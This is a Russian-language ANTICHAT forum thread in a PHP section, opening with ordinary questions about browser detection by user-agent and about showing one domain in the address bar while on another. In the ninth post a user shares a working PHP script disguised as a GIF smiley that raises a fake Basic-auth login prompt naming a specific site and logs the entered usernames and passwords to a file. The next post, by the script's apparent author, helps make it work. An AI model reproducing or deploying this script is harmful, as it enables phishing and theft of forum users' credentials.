ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.04.2008, 09:07
Хелпер
Участник форума
Регистрация: 21.02.2007
Сообщений: 171
С нами: 10114335

Репутация: 32
По умолчанию

Пасибо.
И еще вопрос.
PHP код:
<?php
$x
$_SERVER['HTTP_USER_AGENT'];
switch (
$x)
{
case (
'Opera/9.25 (Windows NT 5.1; U; ru)');
echo 
Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?

Последний раз редактировалось Хелпер; 23.04.2008 в 09:09..
 
Ответить с цитированием

  #2  
Старый 23.04.2008, 09:31
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами: 10107625

Репутация: 67
По умолчанию

Цитата:
Сообщение от Хелпер  
Пасибо.
И еще вопрос.
PHP код:
<?php
$x
$_SERVER['HTTP_USER_AGENT'];
switch (
$x)
{
case (
'Opera/9.25 (Windows NT 5.1; U; ru)');
echo 
Опера;
}
Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?
PHP код:
<?
$x 
$_SERVER['HTTP_USER_AGENT'];
$y 'Opera';
$check strpos($x$y);
if (
$check === false)
{
echo 
'Другой браузер<br>';
}
else 
{
echo 
'Опера';
}
?>
вот тут пофиг какая версия=)

и еще посмари переменную сервер много полезного увидишь)))

PHP код:
<?
echo '<pre>';
print_r ($_SERVER);
echo 
'</pre>';
?>
 
Ответить с цитированием

  #3  
Старый 23.04.2008, 09:22
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию

Вариантов куча
PHP код:
  if (strstr ($SERVER['HTTP_USER_AGENT'], "Opera") !== FALSE)
    echo 
"Это опера"
Можно другими функциями - ereg, preg_match, stristr...
 
Ответить с цитированием

  #4  
Старый 23.04.2008, 13:59
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами: 9626394

Репутация: 357


По умолчанию

Как подменить адрес сайта?
например я на сайте 1.ru, а в адресной строчке написано 2.ru
 
Ответить с цитированием

  #5  
Старый 23.04.2008, 14:02
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию

это к Php вообще не относится !
это происходит когда к серверу привязывается один или более доменов ..
 
Ответить с цитированием

  #6  
Старый 23.04.2008, 14:03
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами: 9626394

Репутация: 357


По умолчанию

А с помощью PhP это некак нельзя сделать?
 
Ответить с цитированием

  #7  
Старый 23.04.2008, 14:11
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию

нет - потому что это никак не связано ...
 
Ответить с цитированием

  #8  
Старый 23.04.2008, 18:45
НTL
Постоянный
Регистрация: 26.01.2008
Сообщений: 796
С нами: 9626394

Репутация: 357


По умолчанию

А еще есть какие нибудь способов кроме таво?
 
Ответить с цитированием

  #9  
Старый 23.04.2008, 21:06
fireball
Новичок
Регистрация: 21.04.2008
Сообщений: 4
С нами: 9502989

Репутация: 0
По умолчанию

Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
PHP код:
<?
//делаем скрипт картинкой
Header("Content-Type: image/gif");
//делаем изображение смайликом из архива
$image ImageCreateFromGif('mellow.gif');
 if(!
$_COOKIE['LOGON'])
{
 
$login $_SERVER['PHP_AUTH_USER'];
 
$pass  $_SERVER['PHP_AUTH_PW'];
 
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
 
if(strlen($pass) <= || !$login)
 {
  
Header('HTTP/1.1 401 Unauthorized');
  
Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
 }
 elseif(
$login)
 {
  
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
  
setcookie('LOGON',md5($pass));
  
//запишем пароли в файл
  
$f fopen('passwords.txt''ab'); //passwords.txt
  
fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
  
fclose($f);
 }
}
imagegif($image);
imagedestroy($image);
?>


Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.
 
Ответить с цитированием

  #10  
Старый 23.04.2008, 21:17
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами: 10495046

Репутация: 2642


По умолчанию

Я это видео записывал))
Вот возможные причины:
Mellow.gif не был загружен либо по каким-то причинам не отображается
Но скорее всего, у тебя на хостинге нет поддержки .htaccess. В таком случае, измени расширения файла smile.gif на .php. Если будут выводиться ошибки - то скорее всего не поддерживается библиотека GD.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.